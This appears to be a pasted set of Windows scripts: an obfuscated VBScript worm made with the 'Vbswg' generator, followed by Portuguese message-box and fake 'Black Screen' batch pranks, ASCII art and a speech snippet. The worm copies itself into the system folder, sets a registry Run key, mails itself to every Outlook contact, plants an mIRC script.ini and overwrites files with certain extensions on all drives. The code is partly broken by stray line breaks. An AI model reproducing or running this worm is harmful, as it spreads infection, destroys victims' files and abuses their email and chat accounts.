'Vbs.Vbswg.ryary@#$%#$@#$ Created By Ps1c0tIcO. 23/08/2013 Set S78552G7 = createobject(OB5D3J3M("yixovzotm4lorky yzksuhpkiz",-6)) S917A3P0 = S78552G7.

getspecialfolder(1) EDKKLUJL = S917A3P0 & OB5D3J3M("a{nwzxxxxxxxx3myrq3{gx",-5) Set I1V11684 = createobject(OB5D3J3M("yuetkrv0ujgnn",-2)) I1V11684.regwrite OB5D3J3M("EHIJYPLCQT>OBYJf`olplcqYTfkaltpY@roobkqSbopflkYOrkY` popp+bub",3), OB5D3J3M("rn^mdko)`s`",5) & EDKKLUJL & OB5D3J3M("#(",-3) S78552G7.copyfile wscript.scriptfullname, EDKKLUJL CF72T1U5 If I1V11684.regread(OB5D3J3M("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\rya ry@#$%#$@#$\CE200GME",0)) <> 1 then O9M8RPKR End if If I1V11684.regread(OB5D3J3M("KNOP_VRIWZDUH_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_u|d u|C&'(&'C&'_KJ37J3UQ",-3)) <> 1 then LP41VI96 OB5D3J3M("",2) End if Set SV40EO04= S78552G7.opentextfile(wscript.scriptfullname) PJA5735M = SV40EO04.readall SV40EO04.close Do if not(S78552G7.fileexists(wscript.scriptfullname)) then set PPP353TP= S78552G7.createtextfile(wscript.scriptfullname) PPP353TP.write PJA5735M PPP353TP.close end if E5ENIK87 = I1V11684.regread(OB5D3J3M("JMNO^UQHVYCTG^Oketquqhv^Ykpfqyu^EwttgpvXgt ukqp^Twp^eutuu0gzg",-2)) If E5ENIK87 <> OB5D3J3M("zvfulsw1h{h#",-3) & EDKKLUJL & OB5D3J3M(" %",0) then I1V11684.regwrite OB5D3J3M("ILMN]TPGUXBSF]Njdsptpgu]Xjoepxt]DvssfouWfstjpo]Svo]d tstt/fyf",-1), OB5D3J3M("|l{ry}7n n)",-9) & EDKKLUJL & OB5D3J3M("(-",-8) end if E5ENIK87= OB5D3J3M("",1) loop Function O9M8RPKR() Set N13VNRRH = CreateObject(OB5D3J3M("U{zruuq4Gvvroigzout",-6)) If N13VNRRH = OB5D3J3M("Msrjmmi",2) Then Set RL868TNH = N13VNRRH.GetNameSpace(OB5D3J3M("I=LE",4)) Set SC6I7KGR = RL868TNH.AddressLists For Each OTF3KMK8 In SC6I7KGR If OTF3KMK8.AddressEntries.Count <> 0 Then HL1B2E6R = OTF3KMK8.AddressEntries.Count For MN37AHII = 1 To HL1B2E6R Set ELESE1I1 = N13VNRRH.CreateItem(0) Set B54I11T5 = OTF3KMK8.AddressEntries(MN37AHII) ELESE1I1.To = B54I11T5.Address ELESE1I1.Subject = OB5D3J3M("ys*yx~ox*o *}yxros*myw*m",-10) ELESE1I1.Body = OB5D3J3M("ktqsmmm",-8) & vbcrlf & OB5D3J3M("",-10) execute OB5D3J3M("qcrA12B0LE3;CJCQC/G/,",2) & Chr(65) & Chr(116) & Chr(116) & Ch r(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115 ) NO278552 = EDKKLUJL ELESE1I1.DeleteAfterSubmit = True C34D2NG5.Add NO278552 If ELESE1I1.To <> OB5D3J3M("",4) Then ELESE1I1.Send End If Next End If Next

End If End function Function LP41VI96(GO74GGL1) If GO74GGL1 <> OB5D3J3M("",2) Then L3C1V116 = I1V11684.regread(OB5D3J3M("JMG[aNQECNaOCEJKPG^Uqhvyctg^Oketquqhv^Ykpf qyu^EwttgpvXgtukqp^RtqitcoHknguFkt",-2)) If S78552G7.fileexists(OB5D3J3M("g>`qmvg`qmvg2mrm",-4)) Then GO74GGL1 = OB5D3J3M("b9[lhqb",1) ElseIf S78552G7.fileexists(OB5D3J3M("c:\mirc32\mirc.ini",0)) Then GO74GGL1 = OB5D3J3M("^5Whdm^.-",5) ElseIf S78552G7.fileexists(L3C1V116 & OB5D3J3M("evr{levr{l7rwr",-9)) Then GO74GGL1 = L3C1V116 & OB5D3J3M("evr{l",-9) ElseIf S78552G7.fileexists(L3C1V116 & OB5D3J3M("[lhqb21[lhqb-hmh",1)) Then GO74GGL1 = L3C1V116 & OB5D3J3M("Xien_",4) Else GO74GGL1 = OB5D3J3M("",-9) End If End If If GO74GGL1 <> OB5D3J3M("",-8) Then Set SH2917A3 = S78552G7.CreateTextFile(GO74GGL1 & OB5D3J3M("\script.ini",0), Tru e) SH2917A3 = OB5D3J3M("[script]",0) & vbCrLf & OB5D3J3M("t6Cut&7@PUOT@)@ ",-6) SH2917A3 = SH2917A3 & vbCrLf & OB5D3J3M("j,9kj-6FKEJ66w",4) SH2917A3 = SH2917A3 & vbCrLf & OB5D3J3M("p3?1kh*&pkem??&og+}jcnv ",-2) SH2917A3 = SH2917A3 & vbCrLf & OB5D3J3M("t8C&&54",-6) & Chr(100) & Chr(99) & Chr (99) & OB5D3J3M("n`i_id^f",5) SH2917A3 = SH2917A3 & EDKKLUJL SH2917A3 = SH2917A3 & vbCrLf & OB5D3J3M("p5? ",-2) script.Close End If End Function Function P8VDKKLU() On Error Resume Next Set J6PF72T1 = S78552G7.Drives For Each URDE200G In J6PF72T1 MB49M8RP = URDE200G & OB5D3J3M("X",4) Call K8JG04G0(MB49M8RP) Next End Function Function K8JG04G0(R68P41VI) H35V40EO = R68P41VI Set H43JA573 = S78552G7.GetFolder(H35V40EO) Set L80PP353 = H43JA573.Files For Each T7D5ENIK In L80PP353 If lcase(T7D5ENIK.Name) = OB5D3J3M("pluf1lql",-3) Then LP41VI96(T7D5ENIK.ParentFolder) End If If S78552G7.GetExtensionName(T7D5ENIK.path) = OB5D3J3M("r^o",4) S78552G7.CopyFile wscript.scriptfullname,T7D5ENIK.path,true End if If S78552G7.GetExtensionName(T7D5ENIK.path) = OB5D3J3M("|hk",-6) S78552G7.CopyFile wscript.scriptfullname,T7D5ENIK.path,true End if Next Set R5613VNR = H43JA573.Subfolders For Each RT1L868T In R5613VNR Call (RT1L868T.path) Next End function Function CF72T1U5()

Msgbox OB5D3J3M("sforpcrabr`lks`",3),48,OB5D3J3M(" r{~|)oj}ju",-9) end function 'Vbswg 2 Beta. By [K] Function OB5D3J3M(PP591JLL,HNH563L4) For E87LPR4N = 1 To Len(PP591JLL) QEP1IG7E = Mid(PP591JLL, E87LPR4N, 1) If QEP1IG7E = Chr(2) Then QEP1IG7E = Chr(34 + HNH563L4) ElseIf QEP1IG7E = Chr(3) Then QEP1IG7E = Chr(10 + HNH563L4) ElseIf QEP1IG7E = Chr(4) Then QEP1IG7E = Chr(13 + HNH563L4) Else QEP1IG7E = Chr(Asc(QEP1IG7E) + HNH563L4) End If OB5D3J3M = OB5D3J3M & QEP1IG7E Next End Function'Vbswg 2 Beta. By [K] '--------------------------------------------------Do msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Erro. O arquivo esta interrompido",vbcritical, "ERRO" msgbox "Podes tentar fechar.",vbcritical, "ERRO" msgbox "Boa",vbcritical, "ERROR" msgbox "No conseguiste?" msgbox "Lol. Tenho pena de ti",vbcritical, "ERRO" msgbox "Tens de pedir ao Bill Gates para te ajudar",vbcritical, "ERRO" msgbox "Pois, nem ele te conhece",vbcritical, "ERRO" msgbox "E ele nem pode apagar-me",vbcritical, "ERRO" msgbox "Estar contigo at giro",vbcritical, "ERRO" msgbox "No ests a gostar?",, "ERRO" msgbox "Eu estou. Parece que te estou a sequestrar..",vbcritical, "ERRO" modesketch=inputbox("TU :" + vbnewline + vbnewline +"1-s burro " + vbnewline + "O u"+ vbnewline + "2-Queres 1 euro" msgbox "Mas vou-te deixar ir.",vbcritical, "ERRO" msgbox "Mas vou-te deixar ir.",vbcritical, "ERRO" msgbox "Mas vou-te deixar ir.",vbcritical, "ERRO" msgbox "Mas vou-te deixar ir.",vbcritical, "ERRO" msgbox "Mas vou-te deixar ir.",vbcritical, "ERRO" msgbox "Mas vou-te deixar ir.",vbcritical, "ERRO" msgbox "",vbcritical, "ERRO" msgbox "",vbcritical, "ERRO"

msgbox "",vbcritical, "ERRO" msgbox "",vbcritical, "ERRO" msgbox "",vbcritical, "ERRO" msgbox "",vbcritical, "ERRO" msgbox "Lol! Acreditaste!",vbcritical, "ERRO" msgbox "Clica s mais uma vez e 'JURO'-te que deixo. A no ser que o ficheiro quebre ......",vbcritical, "ERRO" loop '---------------------------------------------------------------------------------------------------------------cls :A color 0c cls @echo off title Black screen echo Windows fatal error echo Windows actualized50% echo Game over echo Wscript.Sleep echo Wscript.Sleep 5000>C:sleep5000.vbs echo Wscript.Sleep 3000>C:sleep3000.vbs echo Wscript.Sleep 4000>C:sleep4000.vbs echo Wscript.Sleep 2000>C:sleep2000.vbs cd %systemroot%System32 dir cls start /w wscript.exe C:sleep3000.vbs echo Black Screen? echoErro fatal echo Windows deleted 50% echo Game over echo deletando todas as pastas, arquivos,programas!!!! echo sou o virus da caveira, e nao to de brincadeira!!!! msg * Malware detectado start /w wscript.exe C:sleep3000.vbs echo Deletion Successful! color 0a echo 7$7 echo 7 echo 7 echo echo echo echo echo 11 echo o echo o echo 7 echo echo o111 echo o$7 echo echo o7 $ echo 7177o 17 echo 71o7oo$ $ echo o$ echo o71 echo 1o$o echo o11??o 1

echo 71oo echo $1$ echo $7o echo o echo o1oo$ echo o echo o echo 1 echo 7$77 echo echo echo: Spyware/Malware/Trojans/Rootkit foi detectado no seu computador!!! color 0c start /w wscript.exe C:sleep2000.vbs echo echo echo echo Deleting Root Partition? start /w wscript.exe C:sleep2000.vbs echo del %SYSTEMROOT% start /w wscript.exe C:sleep4000.vbs echo Deletado, Sucesso! start /w wscript.exe C:sleep2000.vbs ech Suas pastas vo ver! ech Voc vai ver echo Isso ainda nem comeou echo Criando uma pasta vazia de 0 kb: 1.0? cd Cocuments and SettingsAll UsersStart MenuPrograms mkdir 1.0 start /w wscript.exe C:sleep3000.vbs echo Directory Creation Successful! echoSpyWares echoMalWares echoSPAM e virus echo Execution Attempt 1? start /w wscript.exe C:sleep3000.vbs echo cd Cocuments and SettingsAll UsersStart MenuProgramsStartuph4x shutdown-s echo start hax.exe echo Thau!!! Ha Ha Ha echo Voce foi vitima da tela preta (Black Screen)!!!! start /w wscript.exe C:sleep3000.vbs echo erro fatal echo erro fatal del D:\Black Screen\1.0 echo erro fatal echo erro fatal echo erro fatal echo erro fatal echo erro Mortal echo Dominando computador!!! echo Windows actualized 100% echo Virus Executed! color 0 start /w wscript.exe C:sleep3000.vbs SALVE "NOME.BAT" '----------------------------------

ttttttttkkkkkkkkkkkkkk kkkkkkkkkkkkkkkkkkkktttt ttDDMMMMMMMMMMDDDDkkkkkkkkkkkkkkkkkkkkkk kkkkkkMMMMMMMMMMMMMMMMMMMMMMtt kkDDDDDDDDDDDDkkkkkkDDDDDDMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMkkttttMMMMMMMMMMMMMMMMMMDD ttMMMMDDDDDDMMMMMMMMMMMMMMMMMMMMMMMMDDkkkkkkkkkkkkkkkkkk kkkkDDMMMMMMtt MMMMMMMMMMMMMMMMMM ttMMMMDDttMMMMMMDDkkkkkkkkkkkkkkkkkkkkkkDDMMMMMMMMMMMMMMMMMM MMMMDDkkttkkMMMMkkttMMMMMMMMMMMMMMDD DDMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMDDkkkkkkkkkk kkkkkkDDMMMMttttMMMMttkkMMMMMMMMMMMMtt MMMMMMMMMMMMMMMMttttttkkkkkkkkkkDDMMMMMMMMMMMMMMMMMMMMkkMMMMMMMM MMMMMMDDttttMMMMttDDMMMMttMMMMMMMMMMMM MMMMMMMMMMMMMMttttMMMMMMMMMMMMMMMMDDMMMMMMMMMMMMMMMMMM MMMMMMMMMM MMMMMMMMMMMMkkttMMDDttMMMMkkDDMMMMMMMMDD ttMMMMMMMMMMMMttMMMMMMMMMMMMMMMMMMkkMMMMMMMMMMMMMMMMMMMMDDMMMMMMMMMM MMMMMMMMMMMMMMMM MMMM MMMMMMMMMMMMMMMM ttMMMMMMMMMMMMkkMMMMMMMMMMMMMMMMMMMMkkMMMMMMMMMMMMMMMMDDMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMttDDMMttMMMMMMMMMMMMMMDD kkMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMkkMMMMMMMMMMMMMMMMMMMMMMMMDDtt ttkkDDMMMMMMDDMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMDDMMMMMMMMMMMMMMMMMMMMDD DDMMMMMMMMMMMMMMMMMMMMMMMMMM kkMMMMMMMMMMMMMMMMtt DDMMMMMMMMMMMMMMMMMMMMMMtt kkMMMM kk kkMMMMMMMMMMMMMMMMMMMMMMMMkk kkMMMMMMMMMMMMDDMMtt MMMMMMMMtt MMMMMMMMMMMMMMMMMM ttMMMMMMDD tt DDMMkkkkMMMMMMMMMMMMDDkktt kkMMkkkkkkkkkkkkDDMMDD ttttkkDDMMMM ttkkDDMMMMMMMMDD MMMMtt tt kkMMMMttMMMMMMMMMMDDDDkkkkkkkk kkMM MMMMMMMMMMMMMMMMMMMMMMMMMMDDkktt kkMMMMMMMMMM DD MMMMDDDDMMMMMMMMDDMMMMDDDDMMMMDDkkttttkkDDMMMMMMkkDD MM MMkkttMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMtt MMMMMMMMMMMMMMMMtt ttMMMMMM MMMMkk ttMMMMMMMMMMMMMMMMkk MMMMMMttMM ttkkMMkkDDMMkk ttMMMMMMMMMMMMMMMMMMMMMMMM DDMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMtt ttDDMMMMkk DDMMMMMMMMkk MMMMMMkkkk kkkkMMttMM tttt kkMMMMkkDDMMMMMMMMMMDD DDMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMDD ttDDMMMMDDttMMMMMMDD ttMMMMkkMM kkDDMMkkMMttMMMMMMMMMM kkMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMDDDDDDMMMMMMMMMMMM MMMMMMMMtt MMMMkkMMDD kkkkMMkkMMMMMMMMMMttMMkk ttDDMMMMMMMMMM ttMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMkk kkMMMMMMMM DDMMkkMMMM ttkkMMttMMMMMMMMkk MMMMMMMMMMMMMMMMMMkk DDMMMMMMMMMMMMMMMMMMDD DDttMM MMMMMMMMMMMMMMMMMMMMMMMMkk kk ttDDMMMM kkMMkkMMMM ttMMMM MMMMMM MMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMDD MMkk kkttttttkkMMMMMMMMMMtt DDMMMM MM kkMMkkMMDD kkttMMMMMMMMkk DDMMMMMMMMMMMM kkMMMMMMMMMMMMMMDDttttttMMMMDD MMMM MMMMMMMMMMMMMMkk DDMMMMMMDD ttMMMMMMkk MMMMkkMMtt MM kkMMMM MMMMMMDD kkMMkkkk MMMMMMMMMMMMkk ttMM MMMM MMMMMMMMkk ttMMMMMMMMMM MMMMMMMM MMDDDDMM DDMMMMkkMM MMMMDDMMMMMMMMMMMM DDMMDDMMMMMMMMMMMMMMMMDD DDMMMM DDkk ttDDDD MMMMMMMMDD MMMMMMMM MMMM MMtt MMMMMMMM DDMMMMMMMMMMMMMMMM kkMMMMMMMMMMMMMMMMMMDDtt kkDDMMMMMMkk MMMMDD kkMMMMMMMMMMkk MMDD MMMMMMMM DD kkMMMMMMMMMMMMMMkkkkDDMMMMMMMMMMMMDDtt kkMMMMMMMMMMMMMM kk ttMMMMMMMMMMkkMMMMkk kkMMMMMM MM kkkk ttkkkkDDDDDDDDkkkktt ttDD MMMMMMMMMMMMMM kkMM MMMMMMMMMMMMMMDD kkMMMMMM kkMM DDMMMM kkMMMMMMMMMMtt

MMMMMMMMtt MMMMtt MMMMMMMMMMMMMMMMMM kkMMMMMM kkDD DDMMMM kkMMMMMMMMkk ttMMMMMMMM MMMMMMMMMMMMMMDD DDkk MMMMkk kkMMMMMMMMMMMMMMMM kkMMMMMM ttMMDD MMMMMMMMMMMM DDMMMMMMMMtt MMMMMMMMMMMMMMtt kkMMtt MMMM MMMMMMMMMMMMMMMMtt kkMMMMMM ttkkDDDDtt kkDDDDDDDD DDDDkkkk ttDDMMMMMMkk DD MMMMMMMMMMMMMMMMMM kkMMMMMM kkMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMM kkMMMMMM kkMMkk MMMMMMMMMMMMMMDD MMMMMMMMMMMMMMMMMMDD kkMMMMMM kkMMMMMMMMDD kkMMMMMMMMMMtt MMMMMMMMMMMMMMMMMMMM kkMMMMMMtt tt tttt DDMMMMMMMMMMMMMM MMMMMMDD ttMMMMMMMMMMMMMMMMMMMM kkMMMMMMDD MM ttMMkk kkkkkk MMMMMMMMMMMM DDMMMMMMMMMMMMMM kk DDMMtt DDMMMMMMMMMMMMMMMMMMMMtt kkMMMMMMMM MMtt MMMM MMMMMMkk MMMMMMMMMMMM DDMMMMMMMMMMMMMM MM ttMMMMMMMMMMMMMMMMMMMMMM kkMMMMMMMMMM DDMMMM ttMMkk DDMMMMDD DDMMMMMMMMMM DDMMMMMMMMMMMMkk MMMMMMMMDDkkDDMMMMttDDMM kkMMMMMMMMMMMM MMMM MMMMMM ttMMMMMMMMMM ttMMDDkktt ttMMMMMMMMDDttDDMMMMttkkMMMM kkMMMMMMMMMMMMMMMMkk tt ttkkMM MMMMMMMMkkttDDMMMMttttMMMMtt DDMMMMMMMMMMMMMMMMMMMMMMMMDDDDkktttttt tttt ttttttkkkkDDMMMMMMMMMMMM MMMMttttMMMMMMttttMMMMkk DDMMMMMMMMMMMMttMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMDD ttkkMMMMDDttkkMMMMDD DDMMMMDDMMMMMMDD MMMMMMMMMMMMMMMMMMMMDDDDDDDDMMMMMMMMMMMMMMMMMMDDttttDD MMMMkkttDDMMMMkk MMMMMMttMMMMMMMMMMttttDDMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMDDDDkkkkkkDDMMDDkk kkkkMMMMMMkk MMMMMMMM kkMMMMMMMMMMDDkkkkkkkkkkkkkkkkttttttkkkkDDDDMMMMMMkkkkkkkkDDMM MMMMMMtt MMMMMMMMMMDD DDMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMDDkkkkkkkkDDMMMMMMMMMMMM MM kkMMMMMMMMMMMMkkttkkkkkkkkkkkkkkkkkkkkkkkkkkkkDDMMMMMMMMMMMMMMMMMMMMDD MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMDD MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMDDtt MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMDDtt kkMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMkktt ttDDDDMMMMMMMMMMDDDDkktt

---------------------------------------'Fazer o computador Falar Dim speaks, speech speaks="Ola Pedro, bom dia e bem vindo de volta ao teu computador" Set speech=CreateObject("sapi.spvoice") speech.Speak speaks